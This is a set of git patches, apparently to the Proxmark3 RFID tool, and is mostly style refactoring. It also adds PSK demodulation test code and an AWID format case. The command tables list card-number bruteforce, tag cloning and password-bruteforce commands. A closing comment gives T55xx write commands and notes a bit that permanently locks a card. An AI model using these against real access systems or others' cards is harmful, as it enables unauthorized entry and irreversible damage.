num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueSVMMap_t * clEnqueueSVMMap_fn CL_API_SUFFIX__VERSION_2_0; typedef cl_int CL_API_CALL clEnqueueSVMUnmap_t( cl_command_queue command_queue, - void* svm_ptr, + void *svm_ptr, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueSVMUnmap_t * clEnqueueSVMUnmap_fn CL_API_SUFFIX__VERSION_2_0; @@ -1068,31 +1068,31 @@ clSetDefaultDeviceCommandQueue_fn CL_API_SUFFIX__VERSION_2_1; typedef cl_int CL_API_CALL clGetDeviceAndHostTimer_t( cl_device_id device, - cl_ulong* device_timestamp, - cl_ulong* host_timestamp); + cl_ulong *device_timestamp, + cl_ulong *host_timestamp); typedef clGetDeviceAndHostTimer_t * clGetDeviceAndHostTimer_fn CL_API_SUFFIX__VERSION_2_1; typedef cl_int CL_API_CALL clGetHostTimer_t( cl_device_id device, - cl_ulong* host_timestamp); + cl_ulong *host_timestamp); typedef clGetHostTimer_t * clGetHostTimer_fn CL_API_SUFFIX__VERSION_2_1; typedef cl_program CL_API_CALL clCreateProgramWithIL_t( cl_context context, - const void* il, + const void *il, size_t length, - cl_int* errcode_ret); + cl_int *errcode_ret); typedef clCreateProgramWithIL_t * clCreateProgramWithIL_fn CL_API_SUFFIX__VERSION_2_1; typedef cl_kernel CL_API_CALL clCloneKernel_t( cl_kernel source_kernel, - cl_int* errcode_ret); + cl_int *errcode_ret); typedef clCloneKernel_t * clCloneKernel_fn CL_API_SUFFIX__VERSION_2_1; @@ -1102,10 +1102,10 @@ typedef cl_int CL_API_CALL clGetKernelSubGroupInfo_t( cl_device_id device, cl_kernel_sub_group_info param_name, size_t input_value_size, - const void* input_value, + const void *input_value, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetKernelSubGroupInfo_t * clGetKernelSubGroupInfo_fn CL_API_SUFFIX__VERSION_2_1; @@ -1113,12 +1113,12 @@ clGetKernelSubGroupInfo_fn CL_API_SUFFIX__VERSION_2_1; typedef cl_int CL_API_CALL clEnqueueSVMMigrateMem_t( cl_command_queue command_queue, cl_uint num_svm_pointers, - const void** svm_pointers, - const size_t* sizes, + const void **svm_pointers, + const size_t *sizes, cl_mem_migration_flags flags, cl_uint num_events_in_wait_list, - const cl_event* event_wait_list, - cl_event* event); + const cl_event *event_wait_list, + cl_event *event); typedef clEnqueueSVMMigrateMem_t * clEnqueueSVMMigrateMem_fn CL_API_SUFFIX__VERSION_2_1; @@ -1131,15 +1131,15 @@ typedef cl_int CL_API_CALL clSetProgramSpecializationConstant_t( cl_program program, cl_uint spec_id, size_t spec_size, - const void* spec_value); + const void *spec_value); typedef clSetProgramSpecializationConstant_t * clSetProgramSpecializationConstant_fn CL_API_SUFFIX__VERSION_2_2; typedef cl_int CL_API_CALL clSetProgramReleaseCallback_t( cl_program program, - void (CL_CALLBACK* pfn_notify)(cl_program program, void* user_data), - void* user_data); + void (CL_CALLBACK *pfn_notify)(cl_program program, void *user_data), + void *user_data); typedef clSetProgramReleaseCallback_t * clSetProgramReleaseCallback_fn CL_API_SUFFIX__VERSION_2_2_DEPRECATED; @@ -1150,31 +1150,31 @@ clSetProgramReleaseCallback_fn CL_API_SUFFIX__VERSION_2_2_DEPRECATED; typedef cl_int CL_API_CALL clSetContextDestructorCallback_t( cl_context context, - void (CL_CALLBACK* pfn_notify)(cl_context context, void* user_data), - void* user_data); + void (CL_CALLBACK *pfn_notify)(cl_context context, void *user_data), + void *user_data); typedef clSetContextDestructorCallback_t * clSetContextDestructorCallback_fn CL_API_SUFFIX__VERSION_3_0; typedef cl_mem CL_API_CALL clCreateBufferWithProperties_t( cl_context context, - const cl_mem_properties* properties, + const cl_mem_properties *properties, cl_mem_flags flags, size_t size, - void* host_ptr, - cl_int* errcode_ret); + void *host_ptr, + cl_int *errcode_ret); typedef clCreateBufferWithProperties_t * clCreateBufferWithProperties_fn CL_API_SUFFIX__VERSION_3_0; typedef cl_mem CL_API_CALL clCreateImageWithProperties_t( cl_context context, - const cl_mem_properties* properties, + const cl_mem_properties *properties, cl_mem_flags flags, - const cl_image_format* image_format, - const cl_image_desc* image_desc, - void* host_ptr, - cl_int* errcode_ret); + const cl_image_format *image_format, + const cl_image_desc *image_desc, + void *host_ptr, + cl_int *errcode_ret); typedef clCreateImageWithProperties_t * clCreateImageWithProperties_fn CL_API_SUFFIX__VERSION_3_0; diff --git a/tools/hitag2crack/common/OpenCL-Headers/CL/cl_layer.h b/tools/hitag2crack/common/OpenCL-Headers/CL/cl_layer.h index a43b89783..32d48ba16 100644 --- a/tools/hitag2crack/common/OpenCL-Headers/CL/cl_layer.h +++ b/tools/hitag2crack/common/OpenCL-Headers/CL/cl_layer.h @@ -68,8 +68,8 @@ typedef cl_int CL_API_CALL clGetLayerInfo_t( cl_layer_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret); + void *param_value, + size_t *param_value_size_ret); typedef clGetLayerInfo_t * clGetLayerInfo_fn ; @@ -77,9 +77,9 @@ clGetLayerInfo_fn ; typedef cl_int CL_API_CALL clInitLayer_t( cl_uint num_entries, - const cl_icd_dispatch* target_dispatch, - cl_uint* num_entries_ret, - const cl_icd_dispatch** layer_dispatch_ret); + const cl_icd_dispatch *target_dispatch, + cl_uint *num_entries_ret, + const cl_icd_dispatch **layer_dispatch_ret); typedef clInitLayer_t * clInitLayer_fn ; @@ -103,15 +103,15 @@ extern CL_API_ENTRY cl_int CL_API_CALL clGetLayerInfo( cl_layer_info param_name, size_t param_value_size, - void* param_value, - size_t* param_value_size_ret) ; + void *param_value, + size_t *param_value_size_ret) ; extern CL_API_ENTRY cl_int CL_API_CALL clInitLayer( cl_uint num_entries, - const cl_icd_dispatch* target_dispatch, - cl_uint* num_entries_ret, - const cl_icd_dispatch** layer_dispatch_ret) ; + const cl_icd_dispatch *target_dispatch, + cl_uint *num_entries_ret, + const cl_icd_dispatch **layer_dispatch_ret) ; #endif /* !defined(CL_NO_NON_ICD_DISPATCH_EXTENSION_PROTOTYPES) */ diff --git a/tools/hitag2crack/common/ht2crackutils.c b/tools/hitag2crack/common/ht2crackutils.c index 492676724..fd930e549 100644 --- a/tools/hitag2crack/common/ht2crackutils.c +++ b/tools/hitag2crack/common/ht2crackutils.c @@ -86,7 +86,7 @@ unsigned char hex2bin(unsigned char c) { // return a single bit from a value int bitn(uint64_t x, int bit) { uint64_t bitmask = 1; - bitmask = bitmask << bit; + bitmask <<= bit; if (x & bitmask) { return 1; From d3f8323a3fb8bc9373827def50f7be66688426e8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:42:46 +0200 Subject: [PATCH 12/16] @mwalker33 psk tests, maybe one day its good enough to merge in --- client/src/cmdlft55xx.c | 324 ++++++++++++++++++++++++++++++++++++++-- 1 file changed, 314 insertions(+), 10 deletions(-) diff --git a/client/src/cmdlft55xx.c b/client/src/cmdlft55xx.c index 16087be4a..921c69b27 100644 --- a/client/src/cmdlft55xx.c +++ b/client/src/cmdlft55xx.c @@ -66,6 +66,265 @@ static t55xx_conf_block_t config = { }; static t55xx_memory_item_t cardmem[T55x7_BLOCK_COUNT] = {{0}}; +/* +#define DC(x) ((x) + 128) + +static bool t55xx_is_valid_block0(uint32_t block, uint8_t rfclk, uint8_t pskcf) { + + if (block == 0x00) { + return false; + } + + // Master key = 6 or 9 + if ((((block >> 28)& 0xF) != 0x0) && + (((block >> 28)& 0xF) != 0x6) && + (((block >> 28)& 0xF) != 0x9)) { + return false; + } + + // X Mode + if ( ((block >> 17) & 1) && ((((block >> 28) & 0xf) == 0x6) || (((block >> 28) & 0xf) == 0x9)) ) { + // X mode fixed 0 bits + if ((block & 0x0F000000) != 0x00) { + return false; + } + } else { + // / Basic Mode fixed 0 bits + if ((block & 0x0FE00106) != 0x00) { + return false; + } + } + + // Modulation + if ( (((block >> 12) & 0x1F) != 0x00) && // Direct + (((block >> 12) & 0x1F) != 0x01) && // PSK1 + (((block >> 12) & 0x1F) != 0x02) && // PSK2 + (((block >> 12) & 0x1F) != 0x03) && // PSK3 + (((block >> 12) & 0x1F) != 0x04) && // FSK1 + (((block >> 12) & 0x1F) != 0x05) && // FSK2 + (((block >> 12) & 0x1F) != 0x06) && // FSK1a + (((block >> 12) & 0x1F) != 0x07) && // FSK2a + (((block >> 12) & 0x1F) != 0x08) && // Manchester + (((block >> 12) & 0x1F) != 0x10) && // Bi-phase + (((block >> 12) & 0x1F) != 0x18) ) { // Reserved + return false; + } + + PrintAndLogEx(DEBUG, "suggested block... %08x", block); + + // check pskcf + if ((pskcf <= 3) && (((block >> 10) & 0x3) != pskcf)) { + PrintAndLogEx(DEBUG, "fail 6 - %u %u", pskcf, (block >> 10) & 0x3); + return false; + } + + uint8_t testSpeed; + + // check rfclk + if ((((block >> 17) & 1) == 1) && ((((block >> 28) & 0xf) == 0x6) || (((block >> 28) & 0xf) == 0x9)) ){ // X mode speedBits + testSpeed = (((block >> 18) & 0x3F) * 2) + 2; + } else { + uint8_t basicSpeeds[] = {8,16,32,40,50,64,100,128}; + testSpeed = basicSpeeds[(block >> 18) & 0x7]; + } + + if (testSpeed != rfclk) { + PrintAndLogEx(DEBUG, "fail 7 - %u %u ", testSpeed , rfclk); + return false; + } + return true; +} + +static void t55xx_psk1_demod (int *data, uint8_t rfclk, uint8_t pskcf, uint32_t *block) { + + if ((rfclk < 8) || (rfclk > 128)) { + return; + } + + switch (pskcf) { + case 0: { + pskcf = 2; + break; + } + case 1: { + pskcf = 4; + break; + } + case 2: { + pskcf = 8; + break; + } + default: { + break; + } + } + + int startOffset = 1; // where to start reading data samples + int sampleCount = 0; // Counter for 1 bit of samples + int samples0, samples1; // Number of High even and odd bits in a sample. + int startBitOffset = 1; // which bit to start at e.g. for rf/32 1 33 65 ... + int bitCount = 0; + uint32_t myblock = 0; + int offset; + uint8_t drift = 0; + uint8_t tuneOffset = 0; + + drift = (rfclk % pskcf); // 50 2 = 1 50 4 = 2 + + // locate first "0" - high transisiton for correct start offset + while (DC(data[startOffset]) <= (DC(data[startOffset - 1]) + 5)) { + // sampleToggle ^= 1; + startOffset++; + } + + // Start sample may be 1 off due to sample alignment with chip modulation + // so seach for the first lower value, and adjust as needed + if (pskcf == 2) { + + tuneOffset = startOffset + 1; + + while (DC(data[tuneOffset]) >= (DC(data[tuneOffset - 1]) + 5)) { + tuneOffset++; + } + + if ((tuneOffset - startOffset - 1) % 2) { + startOffset++; + } + } + + uint8_t pskcfidx = 0; + + // Get the offset to the first sample of the data block + offset = (rfclk * startBitOffset) + startOffset; + + pskcfidx = (drift / 2); + pskcfidx = pskcfidx % pskcf; + + // while data my be in the settle period of sampling + // First 18 - 24 bits not usable for reference only + while (offset < 20) { + offset += (32 * rfclk); + } + + // Read 1 block of data + for (bitCount = 0; bitCount < 32; bitCount++) { + + samples0 = 0; + samples1 = 0; + + // Get 1 bit of data + for (sampleCount = 0; sampleCount < rfclk; sampleCount++){ + // Count number of even and odd high bits at center to edge + switch (pskcf) { + case 2: { + + // if current sample is high + if (DC(data[offset]) > DC(data[offset + 1])) { + if (pskcfidx == 0) { + samples0++; + } else { + samples1++; + } + } + break; + } + case 4: { + + // only check pskcf 2nd bit x 1 x x + if (pskcfidx == 1) { + + // if current sample is high + if (DC(data[offset]) > DC(data[offset + 2])) { + samples0++; + } else { + samples1++; + } + } + break; + } + case 8: { + + if (pskcfidx == 3) { // x x x 1 x x x x // 00041840 : FFFBE7BF + + // if current sample is high + if (DC(data[offset]) > DC(data[offset + 4])) { + samples0++; + } else { + samples1++; + } + } + break; + } + default: { + break; + } + } + + // If at bit boundary (after first bit) then adjust phase check for drift + if ((sampleCount > 0) && (sampleCount % rfclk) == 0) { + pskcfidx -= drift; + } + + offset++; + pskcfidx++; + pskcfidx = pskcfidx % pskcf; + } + + myblock <<= 1; + if (samples1 > samples0) { + myblock++; + } + } + + *block = myblock; +} + +static void t55xx_psk2_demod (int *data, uint8_t rfclk, uint8_t pskcf, uint32_t *block) { + // decode PSK + t55xx_psk1_demod (data, rfclk, pskcf, block); + + uint32_t new_block = 0; + uint8_t prev_phase = 1; + + // Convert to PSK2 + for (int8_t bit = 31; bit >= 0; bit--) { + + new_block <<= 1; + + if (((*block >> bit) & 1) != prev_phase) { + new_block++; + } + + prev_phase = ((*block >> bit) & 1); + } + + *block = new_block; +} + +static void t55xx_search_config_psk(int *d, int pskV) { + + for (uint8_t pskcf = 0; pskcf < 3; pskcf++) { + + for (uint8_t speedBits = 0; speedBits < 64; speedBits++) { + + uint8_t rfclk = rfclk = (2 * speedBits) + 2; + uint32_t block = 0; + + if (pskV == 1) { + t55xx_psk1_demod (d, rfclk, pskcf, &block); + } + + if (pskV == 2) { + t55xx_psk2_demod (d, rfclk, pskcf, &block); + } + + if (t55xx_is_valid_block0(block, rfclk, pskcf)) { + PrintAndLogEx(SUCCESS, "Valid config block [%08X] - rfclk [%d] - pskcf [%d]", block, rfclk, pskcf); + } + } + } +} +*/ t55xx_conf_block_t Get_t55xx_Config(void) { return config; @@ -1200,6 +1459,9 @@ bool t55xxTryDetectModulationEx(uint8_t downlink_mode, bool print_config, uint32 } } // inverse waves does not affect this demod //undo trim samples + // t55xx_search_config_psk(g_GraphBuffer, 1); + // t55xx_search_config_psk(g_GraphBuffer, 2); + save_restoreGB(GRAPH_RESTORE); } } @@ -1450,10 +1712,17 @@ static bool testBitRate(uint8_t readRate, uint8_t clk) { bool test(uint8_t mode, uint8_t *offset, int *fndBitRate, uint8_t clk, bool *Q5) { - if (g_DemodBufferLen < 64) return false; + if (g_DemodBufferLen < 64) { + return false; + } + for (uint8_t idx = 28; idx < 64; idx++) { + uint8_t si = idx; - if (PackBits(si, 28, g_DemodBuffer) == 0x00) continue; + + if (PackBits(si, 28, g_DemodBuffer) == 0x00) { + continue; + } uint8_t safer = PackBits(si, 4, g_DemodBuffer); si += 4; //master key @@ -1461,7 +1730,10 @@ bool test(uint8_t mode, uint8_t *offset, int *fndBitRate, uint8_t clk, bool *Q5) si += 4; //was 7 & +=7+3 //should be only 4 bits if extended mode // 2nibble must be zeroed. // moved test to here, since this gets most faults first. - if (resv > 0x00) continue; + + if (resv > 0x00) { + continue; + } int bitRate = PackBits(si, 6, g_DemodBuffer); si += 6; //bit rate (includes extended mode part of rate) @@ -1476,20 +1748,33 @@ bool test(uint8_t mode, uint8_t *offset, int *fndBitRate, uint8_t clk, bool *Q5) //if extended mode bool extMode = ((safer == 0x6 || safer == 0x9) && extend) ? true : false; - if (!extMode) { - if (bitRate > 7) continue; - if (!testBitRate(bitRate, clk)) continue; - } else { //extended mode bitrate = same function to calc bitrate as em4x05 - if (EM4x05_GET_BITRATE(bitRate) != clk) continue; + if (extMode == false) { + if (bitRate > 7) { + continue; + } + + if (testBitRate(bitRate, clk) == false) { + continue; + } + + } else { //extended mode bitrate = same function to calc bitrate as em4x05 + if (EM4x05_GET_BITRATE(bitRate) != clk) { + continue; + } } + //test modulation - if (!testModulation(mode, modread)) continue; + if (testModulation(mode, modread) == false) { + continue; + } + *fndBitRate = bitRate; *offset = idx; *Q5 = false; return true; } + if (testQ5(mode, offset, fndBitRate, clk)) { *Q5 = true; return true; @@ -4407,7 +4692,7 @@ static command_t CommandTable[] = { {"write", CmdT55xxWriteBlock, IfPm3Lf, "Write T55xx block data"}, {"-----------", CmdHelp, AlwaysAvailable, "--------------------- " _CYAN_("recovery") " ---------------------"}, {"bruteforce", CmdT55xxBruteForce, IfPm3Lf, "Simple bruteforce attack to find password"}, - {"chk", CmdT55xxChkPwds, IfPm3Lf, "Check passwords from dictionary/flash"}, + {"chk", CmdT55xxChkPwds, IfPm3Lf, "Check passwords"}, {"protect", CmdT55xxProtect, IfPm3Lf, "Password protect tag"}, {"recoverpw", CmdT55xxRecoverPW, IfPm3Lf, "Try to recover from bad password write from a cloner"}, {"sniff", CmdT55xxSniff, AlwaysAvailable, "Attempt to recover T55xx commands from sample buffer"}, @@ -4426,3 +4711,22 @@ int CmdLFT55XX(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } + + +/* + +one of +// Leading 0 +lf t55 write -b 3 --pg1 -d 90000800 + +// 1 of 4 +lf t55 write -b 3 --pg1 -d 90000C00 + + +T55xx clone card lock: block 3 page 1 0x00000020 00000000 00000000 00000000 00100000 + +(this bit in any combo seems to lock the card) + +You can have other data in the block write, but if that single bit is set "1" the entire card locks in its current state; no know way to unlock + +*/ From 362cfff60a7716b00e43e04943115834cdddf3f7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:44:07 +0200 Subject: [PATCH 13/16] fix ref name --- CHANGELOG.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4aa22f8a4..50f24d7d9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -417,9 +417,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Changed `hf 15 sim` - now supports reader writes (@markus-oehme-pg40) - Added `hf 15 eload` - specify memory image for ISO15693 simulation (@markus-oehme-pg40) - Added `hf 15 sim --blocksize` - configure block size for simulation (@markus-oehme-pg40) - - Fixed buffer overflow in mfu ndef decode (@mwalker) - - Changed spiffs write/append to send in 8192 chunks to ensure its eraised (@mwalker) - - Fixed spiffs dump to ensure to fails correctly if no big_buff was allocated (@mwalker) + - Fixed buffer overflow in mfu ndef decode (@mwalker33) + - Changed spiffs write/append to send in 8192 chunks to ensure its eraised (@mwalker33) + - Fixed spiffs dump to ensure to fails correctly if no big_buff was allocated (@mwalker33) - Change Client Makefile to respect global flags (@blshkv) - Change Makefile, honors global CC values (@blshkv) - Fixed bad memory handling in MifareSim device side (@iceman1001) @@ -625,7 +625,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fixed `hf fido` commands now works correctly (@merlokk) - Moved / renamed `client/resource/fido2_defparams.json` -> `client/resource/hf_fido2_defparams.json` (@merlokk) - Added `hf cipurse` commands to work with cipurse transport cards (@merlokk) - - Added `--gap` option to lf em 410x sim for more control over sim data (@mwalker) + - Added `--gap` option to lf em 410x sim for more control over sim data (@mwalker33) - Changed `hf fido` - refactored load/save json objects (@iceman1001) - Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001) - Added openocd shikra support based on @ninjastyle82 patch to deprecated iceman fork (@iceman1001) From cc5998a153acd2022f08327bd0cfeb14db4ba897 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:47:40 +0200 Subject: [PATCH 14/16] adapt awid --- client/src/cmdlfawid.c | 38 ++++++++++++++++++++++++++++++-------- client/src/cmdlfem4x05.c | 6 +++--- 2 files changed, 33 insertions(+), 11 deletions(-) diff --git a/client/src/cmdlfawid.c b/client/src/cmdlfawid.c index e3a0d78bc..51a0eea11 100644 --- a/client/src/cmdlfawid.c +++ b/client/src/cmdlfawid.c @@ -41,15 +41,17 @@ static int sendPing(void) { SendCommandNG(CMD_PING, NULL, 0); clearCommandBuffer(); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_PING, &resp, 1000)) + if (WaitForResponseTimeout(CMD_PING, &resp, 1000) == false) { return PM3_ETIMEOUT; + } return PM3_SUCCESS; } static int sendTry(uint8_t fmtlen, uint32_t fc, uint32_t cn, uint32_t delay, uint8_t *bits, size_t bs_len, bool verbose) { - if (verbose) + if (verbose) { PrintAndLogEx(INFO, "Trying FC: " _YELLOW_("%u") " CN: " _YELLOW_("%u"), fc, cn); + } if (getAWIDBits(fmtlen, fc, cn, bits) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Error with tag bitstream generation."); @@ -205,6 +207,11 @@ int demodAWID(bool verbose) { free(bits); return PM3_ESOFT; } + + char binstr[68] = {0}; + binarray_2_binstr(binstr, (char *)bits, size); + PrintAndLogEx(DEBUG, "no parity... %s", binstr); + // ok valid card found! // Index map @@ -230,35 +237,47 @@ int demodAWID(bool verbose) { uint8_t fmtLen = bytebits_to_byte(bits, 8); switch (fmtLen) { - case 26: + case 26: { fc = bytebits_to_byte(bits + 9, 8); cardnum = bytebits_to_byte(bits + 17, 16); code1 = bytebits_to_byte(bits + 8, fmtLen); PrintAndLogEx(SUCCESS, "AWID - len: " _GREEN_("%d") " FC: " _GREEN_("%d") " Card: " _GREEN_("%u") " - Wiegand: " _GREEN_("%x") ", Raw: %08x%08x%08x", fmtLen, fc, cardnum, code1, rawHi2, rawHi, rawLo); break; - case 34: + } + case 34: { fc = bytebits_to_byte(bits + 9, 8); cardnum = bytebits_to_byte(bits + 17, 24); code1 = bytebits_to_byte(bits + 8, (fmtLen - 32)); code2 = bytebits_to_byte(bits + 8 + (fmtLen - 32), 32); PrintAndLogEx(SUCCESS, "AWID - len: " _GREEN_("%d") " FC: " _GREEN_("%d") " Card: " _GREEN_("%u") " - Wiegand: " _GREEN_("%x%08x") ", Raw: %08x%08x%08x", fmtLen, fc, cardnum, code1, code2, rawHi2, rawHi, rawLo); break; - case 37: + } + case 36: { + fc = bytebits_to_byte(bits + 14, 11); + cardnum = bytebits_to_byte(bits + 25, 18); + code1 = bytebits_to_byte(bits + 8, (fmtLen - 32)); + code2 = bytebits_to_byte(bits + 8 + (fmtLen - 32), 32); + PrintAndLogEx(SUCCESS, "AWID - len: " _GREEN_("%d") " FC: " _GREEN_("%d") " Card: " _GREEN_("%u") " - Wiegand: " _GREEN_("%x%08x") ", Raw: %08x%08x%08x", fmtLen, fc, cardnum, code1, code2, rawHi2, rawHi, rawLo); + break; + } + case 37: { fc = bytebits_to_byte(bits + 9, 13); cardnum = bytebits_to_byte(bits + 22, 18); code1 = bytebits_to_byte(bits + 8, (fmtLen - 32)); code2 = bytebits_to_byte(bits + 8 + (fmtLen - 32), 32); PrintAndLogEx(SUCCESS, "AWID - len: " _GREEN_("%d")" FC: " _GREEN_("%d")" Card: " _GREEN_("%u") " - Wiegand: " _GREEN_("%x%08x") ", Raw: %08x%08x%08x", fmtLen, fc, cardnum, code1, code2, rawHi2, rawHi, rawLo); break; + } // case 40: // break; - case 50: + case 50: { fc = bytebits_to_byte(bits + 9, 16); cardnum = bytebits_to_byte(bits + 25, 32); code1 = bytebits_to_byte(bits + 8, (fmtLen - 32)); code2 = bytebits_to_byte(bits + 8 + (fmtLen - 32), 32); PrintAndLogEx(SUCCESS, "AWID - len: " _GREEN_("%d") " FC: " _GREEN_("%d") " Card: " _GREEN_("%u") " - Wiegand: " _GREEN_("%x%08x") ", Raw: %08x%08x%08x", fmtLen, fc, cardnum, code1, code2, rawHi2, rawHi, rawLo); break; + } default: if (fmtLen > 32) { cardnum = bytebits_to_byte(bits + 8 + (fmtLen - 17), 16); @@ -288,7 +307,9 @@ static int CmdAWIDDemod(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf awid demod", "Try to find AWID Prox preamble, if found decode / descramble data", - "lf awid demod" + "lf awid demod\n" + "lf awid demod --raw " + ); void *argtable[] = { @@ -566,9 +587,10 @@ static int CmdAWIDBrute(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "this help"}, + {"brute", CmdAWIDBrute, IfPm3Lf, "bruteforce card number against reader"}, + {"clone", CmdAWIDClone, IfPm3Lf, "clone AWID tag to T55x7, Q5/T5555 or EM4305/4469"}, {"demod", CmdAWIDDemod, AlwaysAvailable, "demodulate an AWID FSK tag from the GraphBuffer"}, {"reader", CmdAWIDReader, IfPm3Lf, "attempt to read and extract tag data"}, - {"clone", CmdAWIDClone, IfPm3Lf, "clone AWID tag to T55x7, Q5/T5555 or EM4305/4469"}, {"sim", CmdAWIDSim, IfPm3Lf, "simulate AWID tag"}, {"brute", CmdAWIDBrute, IfPm3Lf, "bruteforce card number against reader"}, {"watch", CmdAWIDWatch, IfPm3Lf, "continuously watch for cards. Reader mode"}, diff --git a/client/src/cmdlfem4x05.c b/client/src/cmdlfem4x05.c index bc6d731e6..b70eaf75a 100644 --- a/client/src/cmdlfem4x05.c +++ b/client/src/cmdlfem4x05.c @@ -1750,9 +1750,9 @@ int CmdEM4x05Chk(const char *Cmd) { res = loadFileDICTIONARY_safe(filename, (void **) &keyBlock, 4, &keycount); if (res != PM3_SUCCESS || keycount == 0 || keyBlock == NULL) { PrintAndLogEx(WARNING, "no keys found in file"); - if (keyBlock != NULL) + if (keyBlock != NULL) { free(keyBlock); - + } return PM3_ESOFT; } @@ -2634,7 +2634,7 @@ static command_t CommandTable[] = { {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("Operations") " -----------------------"}, {"clonehelp", CmdEM4x05CloneHelp, IfPm3Lf, "Shows the available clone commands"}, {"brute", CmdEM4x05Brute, IfPm3Lf, "Bruteforce password"}, - {"chk", CmdEM4x05Chk, IfPm3Lf, "Check passwords from dictionary"}, + {"chk", CmdEM4x05Chk, IfPm3Lf, "Check passwords"}, {"config", CmdEM4x05Config, AlwaysAvailable, "Create common configuration words"}, {"demod", CmdEM4x05Demod, AlwaysAvailable, "Demodulate a EM4x05/EM4x69 tag from the GraphBuffer"}, {"dump", CmdEM4x05Dump, IfPm3Lf, "Dump EM4x05/EM4x69 tag"}, From 5025a18722638e1a220f118c035cf551af24c6a4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 09:51:42 +0200 Subject: [PATCH 15/16] pushed update to use latest setup script --- .github/workflows/windows.yml | 2 +- CHANGELOG.md | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index 40b8e911a..a9b052c01 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -98,7 +98,7 @@ jobs: steps: - name: WSL setup - uses: Vampire/setup-wsl@v2 + uses: Vampire/setup-wsl@v3 with: distribution: Ubuntu-22.04 update: "true" diff --git a/CHANGELOG.md b/CHANGELOG.md index 50f24d7d9..5de75914c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Addeded a micro second clock in the client (@iceman1001) +- Updated windows workflow to use latest setup-wsl script (@iceman1001) +- Added a micro second clock in the client (@iceman1001) - Fix `hf mfdes read` - buffer overflow when reading large files (@iceman1001) - Changed `hf 15 csetuid` - now supports gen2 command (@iceman1001) - Changed `hf mfp info` - to identify Ev2 (@iceman1001) From 4304372858e04836cfe4cc1e6b459f7a19e83f90 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 22 Apr 2024 10:41:28 +0200 Subject: [PATCH 16/16] tweaking felica timings to see if it gets better results --- armsrc/felica.c | 59 ++++++++++++++++++++++++++------- armsrc/lfadc.c | 27 ++++++++++------ armsrc/lfsampling.c | 17 ++++++---- armsrc/util.c | 79 ++++++++++++++++++++++++++++++++++----------- armsrc/util.h | 5 ++- 5 files changed, 141 insertions(+), 46 deletions(-) diff --git a/armsrc/felica.c b/armsrc/felica.c index 1e615ed9a..df0be5c40 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -29,7 +29,8 @@ // FeliCa timings // minimum time between the start bits of consecutive transfers from reader to tag: 6800 carrier (13.56MHz) cycles #ifndef FELICA_REQUEST_GUARD_TIME -# define FELICA_REQUEST_GUARD_TIME (6800/16 + 1) // 426 +//# define FELICA_REQUEST_GUARD_TIME (6800 / 16 + 1) // 426 +# define FELICA_REQUEST_GUARD_TIME ((512 + 0 * 256) * 64 / 16 + 1) #endif // FRAME DELAY TIME 2672 carrier cycles #ifndef FELICA_FRAME_DELAY_TIME @@ -64,6 +65,11 @@ static uint32_t iso18092_get_timeout(void) { #define FELICA_MAX_FRAME_SIZE 260 #endif + + + + + //structure to hold outgoing NFC frame static uint8_t frameSpace[FELICA_MAX_FRAME_SIZE + 4]; @@ -122,38 +128,45 @@ static void shiftInByte(uint8_t bt) { } static void Process18092Byte(uint8_t bt) { + switch (FelicaFrame.state) { + case STATE_UNSYNCD: { - //almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not always the case + // almost any nonzero byte can be start of SYNC. SYNC should be preceded by zeros, but that is not always the case if (bt > 0) { FelicaFrame.shiftReg = reflect8(bt); FelicaFrame.state = STATE_TRYING_SYNC; } break; } + case STATE_TRYING_SYNC: { + if (bt == 0) { - //desync + // desync FelicaFrame.shiftReg = bt; FelicaFrame.state = STATE_UNSYNCD; } else { + for (uint8_t i = 0; i < 8; i++) { if (FelicaFrame.shiftReg == SYNC_16BIT) { - //SYNC done! + // SYNC done! FelicaFrame.state = STATE_GET_LENGTH; FelicaFrame.framebytes[0] = 0xb2; FelicaFrame.framebytes[1] = 0x4d; FelicaFrame.byte_offset = i; - //shift in remaining byte, slowly... + + // shift in remaining byte, slowly... for (uint8_t j = i; j < 8; j++) { FelicaFrame.framebytes[2] = (FelicaFrame.framebytes[2] << 1) + (bt & 1); bt >>= 1; } FelicaFrame.posCnt = 2; - if (i == 0) + if (i == 0) { break; + } } FelicaFrame.shiftReg = (FelicaFrame.shiftReg << 1) + (bt & 1); bt >>= 1; @@ -351,16 +364,21 @@ static void BuildFliteRdblk(const uint8_t *idm, uint8_t blocknum, const uint16_t } static void TransmitFor18092_AsReader(const uint8_t *frame, uint16_t len, const uint32_t *NYI_timing_NYI, uint8_t power, uint8_t highspeed) { + if (NYI_timing_NYI != NULL) { 